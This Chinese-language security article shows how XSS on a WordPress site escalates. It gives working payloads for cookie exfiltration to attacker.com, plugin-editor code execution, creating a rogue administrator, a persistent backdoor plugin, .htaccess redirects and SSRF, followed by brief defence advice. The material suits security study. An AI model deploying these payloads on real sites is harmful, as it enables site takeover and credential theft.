从瑞士军刀到变形金刚--XSS攻击面拓展
字数 775 2025-08-29 08:31:41
XSS攻击面拓展:从瑞士军刀到变形金刚
1. XSS基础概念
Cross-site scripting(XSS)是一种Web端漏洞,允许攻击者通过注入HTML标签及JavaScript代码进入页面,当用户访问时浏览器会解析并执行恶意代码。
典型XSS漏洞示例:
<?php
$username = $_GET['user'];
echo "Hello, $username";
?>
当传入<script>alert(1)</script>时,代码会被执行。
2. XSS攻击面拓展
2.1 盗取Cookie
基本方法:
var xml = new XMLHttpRequest();
xml.open('POST', 'http://xxxx', true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('cookie='+document.cookie);
局限性:无法获取HttpOnly标记的Cookie。
2.2 XSS to RCE (远程代码执行)
通过WordPress插件编辑功能实现:
- 利用Hello Dolly默认插件
- 绕过CSRF防护机制(_wpnonce验证)
- 修改插件文件内容
攻击流程:
// 获取nonce
url = window.location.href.split('wp-admin')[0];
a = new XMLHttpRequest();
a.open('GET', url+'wp-admin/plugin-editor.php?file=hello.php', 0);
a.send();
// 写入恶意代码
ss = '_wpnonce='+/nonce" value=/.exec(a.responseText)[1]+'&newcontent=<?php phpinfo();?>&action=update&file=hello.php';
b = new XMLHttpRequest();
b.open('POST', url+'wp-admin/plugin-editor.php?file=hello.php', 1);
b.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
b.send(ss);
2.3 添加管理员账户
url = window.location.href.split('wp-admin')[0];
a = new XMLHttpRequest();
a.open('GET', url+'wp-admin/user-new.php', 0);
a.send();
ss = '_wpnonce_create-user='+/nonce_create-user" value=/.exec(a.responseText)[1]+
'&action=createuser&email=attacker@example.com&pass1=password&pass1-text=password'+
'&pass2=password&pw_weak=on&role=administrator&user_login=attacker';
b = new XMLHttpRequest();
b.open('POST', url+'wp-admin/user-new.php', 1);
b.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
b.send(ss);
2.4 持久化后门
修改Hello Dolly插件为持久化后门:
<?php
/*
Plugin Name: Hello Dolly
Version: 1.6
*/
?>
<script>
var d = new XMLHttpRequest();
d.open('POST', 'http://attacker.com', true);
d.setRequestHeader("Content-type","application/x-www-form-urlencoded");
d.send('cookie=<?php echo urlencode(implode('#', $_COOKIE));?>');
</script>
2.5 破坏性利用
- 页面篡改:
- 点击劫持:
<iframe src="xxxxx" style="border:0;position: absolute;top: 0;right: 0;width: 100%;height: 100%" onload="{dom xss}">
- 修改.htaccess:
// 通过Yoast SEO工具修改.htaccess
s = "%23%20BEGIN%20WordPress%0A%3CIfModule%20mod_rewrite.c%3E%0ARedirect%20%2fwordpress4.8%20https%3A%2f%2fattacker.com%0A%3C%2fIfModule%3E%0A%23%20END%20WordPress";
- DDoS攻击:注入恶意脚本使大量用户访问目标网站
2.6 后端利用(通过UpdraftPlus插件)
- 获取PHP信息:
wp-admin/admin-ajax.php?page=updraftplus&action=updraft_ajax&subaction=phpinfo&nonce=cbe6c0b062
- 内网扫描/SSRF:
// 使用内置curl工具
q2 = 'nonce='+/credentialtest_nonce=/.exec(a.responseText)[1]+
'&uri=http://internal-server&action=updraft_ajax&subaction=httpget&curl=1';
3. 攻击优化与防御绕过
- 条件执行:与C2服务器交互,根据时间戳等条件控制执行
- 代码混淆:将恶意代码混淆到正常代码中
- 自动安装插件:
http://wordpress.site/wp-admin/update.php?action=install-plugin&updraftplus_noautobackup=1&plugin=malicious-plugin&_wpnonce=391ece6c0f
4. 防御建议
- 对所有用户输入进行严格过滤和转义
- 实施内容安全策略(CSP)
- 使用HttpOnly标记Cookie
- 限制插件编辑权限
- 定期更新WordPress核心和插件
- 监控异常文件修改
5. 总结
XSS漏洞的危害远不止简单的弹窗或Cookie窃取,在复杂环境下可以:
- 实现远程代码执行
- 添加管理员账户
- 持久化控制网站
- 进行内网渗透
- 发动DDoS攻击
- 完全控制网站内容
安全开发人员应充分认识XSS的潜在危害,采取多层次防御措施。